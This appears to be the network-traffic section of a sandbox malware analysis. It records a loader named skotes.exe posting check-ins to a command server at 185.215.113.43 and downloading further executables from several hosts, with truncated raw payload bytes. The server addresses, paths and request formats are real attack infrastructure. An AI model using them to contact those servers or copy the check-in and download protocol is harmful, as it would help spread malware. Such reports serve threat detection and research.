Nov 19, 2024 22:12:06.121442080 CET	1.1.1.1	192.168.2.4	0x30a0	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:12:52.579493046 CET	1.1.1.1	192.168.2.4	0xa38b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.419962883 CET	1.1.1.1	192.168.2.4	0xde4f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.511656046 CET	1.1.1.1	192.168.2.4	0xe087	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:26.800926924 CET	1.1.1.1	192.168.2.4	0xb6c7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:13:26.800926924 CET	1.1.1.1	192.168.2.4	0xb6c7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:13:54.602916002 CET	1.1.1.1	192.168.2.4	0x25f6	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:14:39.450119019 CET	1.1.1.1	192.168.2.4	0x9e84	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49838	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:05.130877972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:07:05.338083029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49858	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:07.074919939 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:07:07.295330048 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 34 39 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 34 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 34 39 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 34 39 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007496001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007497001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007498001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007499001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007500001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49864	31.41.244.11	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:07.499897957 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 19, 2024 22:07:07.705079079 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: application/octet-stream Content-Length: 4404224 Last-Modified: Tue, 19 Nov 2024 20:58:18 GMT Connection: keep-alive ETag: "673cfbea-433400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 20 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c5 00 00 04 00 00 21 d0 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 00 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 ff c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2 J@P!C@ _qs px'@.rsrc p'@.idata q'@ p8q'@byaebdxw'@ccdsmilyC@.taggant0 "C@ [TRUNCATED]
Nov 19, 2024 22:07:07.705118895 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:07.705213070 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:07.705255032 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:07.705347061 CET	1289	IN	Data Raw: e8 98 a8 2e 09 59 87 70 dc 5a 6e 7b b4 45 4a f3 05 82 dc 18 5d c8 6b 27 06 90 36 3c d8 6e 82 ec 9d 74 08 bf b3 8d eb 33 d0 48 40 ff a6 90 73 b7 3f 31 50 ab 29 39 e3 5b 3d 57 5b 26 b7 c7 00 f4 50 0c cc e1 8e c0 d8 9c d0 34 c3 c9 f5 2b 1d e4 40 9b Data Ascii: .YpZn{EJ]k'6<nt3H@s?1P)9[=W[&P4+@V6R\|jK~!,hCQpgV K3M,>}W{\0<'fbOrnSd[[?Kord9~{G\}C)Xk?h`P9t&[HSCvn5Y=%n%] 'a4cWG-
Nov 19, 2024 22:07:07.705385923 CET	1289	IN	Data Raw: 8b 17 5d fd 49 3d 01 5b ab 0f 18 64 80 25 5f 71 f0 b3 04 0f c6 74 98 d7 08 74 27 96 3a 2d 5d c5 7b 8a 05 39 f3 ea de 55 9b 9b 19 65 1b d0 3f f1 05 c1 c8 70 4d bf c9 cf b7 df 90 09 16 55 ac 2f 6a ef 9e 28 72 ad ad e5 e6 15 d8 40 c0 53 9b ce 72 46 Data Ascii: ]I=[d%_qtt':-]{9Ue?pMU/j(r@SrF\Ar!K~YyyW33f.8Q'AYkL:wz}d7ypZT{\|9gl@dy9QaNH:jxW,SUi
Nov 19, 2024 22:07:07.705457926 CET	1289	IN	Data Raw: f2 64 4d 3a a4 d8 09 a2 0d d8 b0 bb 81 c9 0d c2 7d c9 d5 c3 02 59 40 07 85 fe 40 6e 96 28 59 72 85 fb b9 e3 07 0f 13 cd 42 0b 3a fa 46 13 5c 70 82 fa 40 b1 72 b1 3e cd 09 1f 8b 2f 0c b9 59 ea e0 bc dd 3a 51 a9 7e ca 23 4f e0 d3 eb ad 08 2b ed 20 Data Ascii: dM:}Y@@n(YrB:F\p@r>/Y:Q~#O+ ?lHM(vCf#q;ua\|@6L'0yi:rYBn lH\qCQk_{';fQ?lX]2RX[}hoZ8[7/D\P{
Nov 19, 2024 22:07:07.705495119 CET	1289	IN	Data Raw: 70 05 fb ae 7e 9b 75 4e 83 96 4a c8 5d bb a7 be ad 2d f8 3d e0 9d f5 da 21 5b 36 46 5b e6 bd c8 48 60 ad 29 db 9f cb d0 0f 35 de a6 62 6f 72 0f a4 46 48 48 21 12 f4 9b 7a 52 b8 08 38 45 ca 3f d9 78 8e ff a6 3b 57 5a 11 29 c5 d6 3d 00 a1 05 ba 44 Data Ascii: p~uNJ]-=![6F[H`)5borFHH!zR8E?x;WZ)=D\|#l{dN4HP;,Sn$XT{i& <J-'Z2\Ufg1CA9-TIg3@uA'O:QLs%K?8}UP?!4Z5'
Nov 19, 2024 22:07:07.705568075 CET	1289	IN	Data Raw: 38 95 f3 f1 26 e9 ff f9 1e e3 d9 81 4f 42 20 e2 81 c8 5c b5 86 77 f0 c4 45 7c 1b 53 4d fa 54 08 d5 c3 89 f9 46 ef 64 25 40 4f ed 91 40 bd 0c 2c 1f 4f 90 a9 5b 9b b8 73 e9 d8 e5 dd 79 a4 80 4a de 6c 70 5c 09 9e 70 c2 17 c8 c7 bf e9 61 25 da e7 43 Data Ascii: 8&OB \wE\|SMTFd%@O@,O[syJlp\pa%Cl[C'SKk9gn% ((A+\=.+`B(1;Uwhq4VY^Q?#"@NHA0/?u<7PrNf<5^[
Nov 19, 2024 22:07:07.705605030 CET	1289	IN	Data Raw: 30 5e 2e 19 82 71 1f 4a 27 d0 18 29 c2 c3 a7 50 f8 a8 0c 67 7b db 52 07 c7 da 4b 78 ae 12 c5 21 2a 84 f2 89 1b 09 c9 a9 28 28 a4 89 90 4b 3d 1b 47 e3 c2 bd dd db 0d 77 85 1a 5f 45 d2 68 f5 b2 1f 08 e9 97 6c dd c0 af a6 03 f4 6b 7d b5 bd fe 3a 0a Data Ascii: 0^.qJ')Pg{RKx!((K=Gw_Ehlk}:Rc1-2_[5\|e"E(\|FwDEdgX?g5=X3O&i\AN-#NiH"C-[dH{:Y?&Z
Nov 19, 2024 22:07:07.905678034 CET	1289	IN	Data Raw: 11 db 57 10 eb e6 95 90 71 74 b6 87 f5 56 0f 17 ac 13 ed 3f 4f a7 f5 61 82 06 c4 13 d0 0a bd a8 3d 3b 23 cb c0 b5 fd 72 4a 98 60 c5 e2 f6 19 61 43 c0 a0 6d e9 da 54 f3 09 a1 6d 37 cc 9b e3 7a 50 f0 64 0d 13 83 d5 10 64 ef f4 32 e9 50 a1 39 77 23 Data Ascii: WqtV?Oa=;#rJ`aCmTm7zPdd2P9w#fb{xKN <varyky2^*j#){H6UYA;/ET\|'ly$yDL(`!9.'n .&/?H}~?gA8Tf$dAQy7Z5(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49912	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:12.154449940 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007496001&unit=246122658369
Nov 19, 2024 22:07:12.372802973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49917	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:12.606148005 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 22:07:12.817698956 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:12 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Tue, 19 Nov 2024 21:01:46 GMT Connection: keep-alive ETag: "673cfcba-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 c0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4a 00 00 04 00 00 65 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gJ@JeG@\ppq P^@.rsrc `n@.idata pn@ +p@qqnpmrdy0r@swjrogvgJ@.taggant0J"@ [TRUNCATED]
Nov 19, 2024 22:07:12.817713022 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:12.817773104 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:12.817786932 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:12.817847013 CET	1289	IN	Data Raw: 9b 5f 1b a0 c1 00 e7 4e 18 d2 6f 5d 24 5d 7c 3e 46 46 6c f9 64 7e fa d3 c9 c7 80 96 f9 67 4f 7f 0b a0 48 eb 09 3c 44 39 fb 84 38 d1 1c fe c4 04 98 30 64 c3 02 17 74 1f 7a 57 a5 c5 10 4d 36 e7 91 b5 fb 64 2d ea 6c ef 24 33 12 c4 61 3f 85 2b e9 21 Data Ascii: _No]$]\|>FFld~gOH<D980dtzWM6d-l$3a?+!<he[aI9tC$9XyyR]c0Pl)#;IIz{$9nt1$,eFct@h%, ,QyCg~'{ciav==c
Nov 19, 2024 22:07:12.817859888 CET	1289	IN	Data Raw: f3 54 17 10 8b 75 c3 2b 59 80 ac bf 17 37 e3 04 7e 79 2a c5 ff c7 f6 ac 27 c9 ed 40 40 5c 22 92 8c 4d 21 5f 7c e5 6b 18 08 cd 8e 04 3f 54 5d fa f9 c3 f2 e1 fd 61 1a 06 ad d6 5a 9a 7c 43 9e 14 82 c0 e2 e1 75 68 1c b2 25 92 45 46 97 d5 65 47 03 5b Data Ascii: Tu+Y7~y*'@@\"M!_\|k?T]aZ\|Cuh%EFeG[\oi=>^i-G6mT\aB9X$W X\|;8"8erzWSq6x3K_ 4;AR&_$jrq7'J\|2r0Aa<
Nov 19, 2024 22:07:12.817951918 CET	1289	IN	Data Raw: 7d d8 14 f3 78 94 8f 37 12 9c 86 87 10 7a e2 66 40 7a e2 3b 08 4d c1 fb 15 5f 4f 61 86 76 d7 f2 59 9d 26 83 e9 e4 20 ad b1 6c 1c be 02 d4 04 a3 33 e7 98 d9 58 e3 78 d1 8a c0 05 b2 16 88 d7 e0 d0 0a 2c 2e 91 82 5b 90 90 98 24 34 70 ac 71 78 d9 b1 Data Ascii: }x7zf@z;M_OavY& l3Xx,.[$4pqxmu7!.qOX6YPD{Fuu)L4-+fq(SLOb{>wQB-\|2{x_]}H_mG'RiY-Um,=L\|Bae
Nov 19, 2024 22:07:12.817965984 CET	1289	IN	Data Raw: 1d 96 0d d4 f5 0c 3c 90 15 8f 07 5a 4e 28 78 35 fc 0c 80 23 5d 13 0b d8 6e 2f 7c d7 5b fe 01 23 65 78 a4 5f ea 80 09 3b 7f c9 a7 ac 97 12 b1 60 2a e9 0f 39 5a a5 f3 ae d5 8a c0 52 e9 70 21 a9 42 af 0b a5 f4 39 d5 56 ca 82 f5 53 ef 24 6a 55 f8 6b Data Ascii: <ZN(x5#]n/\|[#ex_;`*9ZRp!B9VS$jUk]=NmV7a2?+8z?Lf02Utd'P.h=0'i`O>WG\zOrTpi\|N)VO+o` j(?\@b$&K8~8
Nov 19, 2024 22:07:12.818021059 CET	1289	IN	Data Raw: b1 d8 7d a1 05 89 0b cb 25 ef 7f dd eb 0b db 20 1d 22 e9 1a 3c cf 74 e9 4e 8d 05 26 04 0d 69 13 29 73 fd 68 94 56 d0 03 c9 34 85 a6 4d ad 50 7f 04 45 c4 c5 07 24 dd 68 a8 89 d9 8e 31 97 10 df b0 b4 bf 96 36 9a 96 0e c8 91 a8 d3 44 8b ac 77 e0 a3 Data Ascii: }% "<tN&i)shV4MPE$h16Dw~y8Q!I)x x% ?P"mO>84UP#M*G:o'wOu<W/Q_Wz3Y_#$(3gW'y95WB~
Nov 19, 2024 22:07:12.818129063 CET	1289	IN	Data Raw: 73 5c 60 5b 77 e9 eb 90 0b d4 8c 89 0d 97 66 58 f9 ac d2 0c 5f 51 5b b1 87 32 1f 87 f3 16 4e 93 b0 f6 3b 57 df 1c 24 17 32 79 2e 40 1b 20 cc 4e 61 74 c7 fd 51 50 de 8d 33 69 13 f0 6d 9b 07 82 2f ce e6 c0 6c 64 ff eb 53 86 1a c1 30 66 db ed 78 4d Data Ascii: s\`[wfX_Q[2N;W$2y.@ NatQP3im/ldS0fxMp8C=LN %,:+#>4wKx_lm(BRq'7}NjG)\K`A\|iJWb&a'U2*X?2\|lT]\'wJ
Nov 19, 2024 22:07:13.029093027 CET	1289	IN	Data Raw: 14 d4 b1 8d 55 db c9 30 2d 95 27 e1 dd 04 f2 4c 3d 0e 78 3f c7 fa ba 67 d4 ce 51 e5 58 c3 11 fa c3 03 8a 3e 8f be 70 49 d4 f7 eb fa 00 f3 01 df 7d cd 5c a7 b5 08 4f 32 81 98 60 43 c1 9b 4e b6 5c 4f 11 83 a1 c4 c1 35 24 57 c4 6a 4d 1d 22 c0 6f 4b Data Ascii: U0-'L=x?gQX>pI}\O2`CN\O5$WjM"oKIFS)}dt3-}JNWeNhnFV(m`}1(hf^pQ&z"xY=7ljH0?B/ wMwcIyvdG7B\)}"iW4c\G>)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49924	34.116.198.130	80	7920	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:13.082627058 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 19, 2024 22:07:13.365093946 CET	1289	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 19 Nov 2024 21:07:13 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"20X _MwSO`DqNO}(GPuU+$oX
Nov 19, 2024 22:07:13.365108013 CET	1289	IN	Data Raw: a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 e8 68 7f 28 0f c2 08 07 f7 3e a8 f4 ed 73 4e 6b e7 3d 40 82 1b 08 6e e3 8a 49 45 d3 c7 62 f9 10 1d 63 5a 22 12 d6 a0 7e b4 e8 51 bc 04 36 5d 0c 34 f4 41 47 18 Data Ascii: y]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&TCZ?9P{2hUPRb'aox!CoG3_
Nov 19, 2024 22:07:13.365156889 CET	1289	IN	Data Raw: 7f 12 9d e3 43 bd 25 68 f4 90 c4 02 f6 55 2e 7c 7a 69 c9 f4 1c 8f 84 d6 a7 91 a0 d5 3c 86 6b 8c d2 10 94 1a ba 1b 47 ab 42 e8 9a 08 f9 a4 35 7d a6 6d e6 50 2a 11 a6 3d e4 ca 50 14 1d d5 99 cc 4e ee e2 70 3f 25 47 0e 8a 9c 7e 65 7c 4e 02 53 a0 df Data Ascii: C%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>DT0W&p=iU/zbt%:V-h\3Ad^V?P#BydYCH(4\b
Nov 19, 2024 22:07:13.365206957 CET	1289	IN	Data Raw: 04 94 68 cc 4f da 8c bf c7 4f 0d b1 cf 75 3b 9e dd 7b 61 64 86 e5 11 86 e9 1d 04 f6 17 3d c2 45 ca 92 2f 5a 7f ee c1 37 d0 e8 8d 8a 14 68 28 7d 5a 44 04 30 c9 45 88 5a 45 e1 5f aa bc 98 45 07 b1 50 e3 d0 8d 3d 35 3e fc 1a f8 4a 35 b2 01 42 c0 e0 Data Ascii: hOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B`\!OA,-obYCoV'3SvRDH)<:R::;blX?),lD#4Bs+]?R,j76J'\[sRKI&(Cs>HX
Nov 19, 2024 22:07:13.367347956 CET	1289	IN	Data Raw: 59 f1 a6 dc 54 30 f2 fa b2 f9 a2 e1 8f 88 d9 63 12 d2 51 97 0e 59 30 3e 7e 61 9c 30 28 99 56 f1 4e 81 fb 0e c8 bc d9 fa 0e be 38 52 59 9c 20 75 d2 22 9c c5 fd b9 c4 aa 6f b6 b7 0a a4 0e 2c 0c 66 3e 52 42 a5 e9 98 26 d7 56 8e db 55 5f cc 1b d3 31 Data Ascii: YT0cQY0>~a0(VN8RY u"o,f>RB&VU_1wKw\OobTZ1pp-)s\d+]$QQnyl{yoW-=S!H@;3Z%W}EqcAFHe.dzlBvp~r+*i
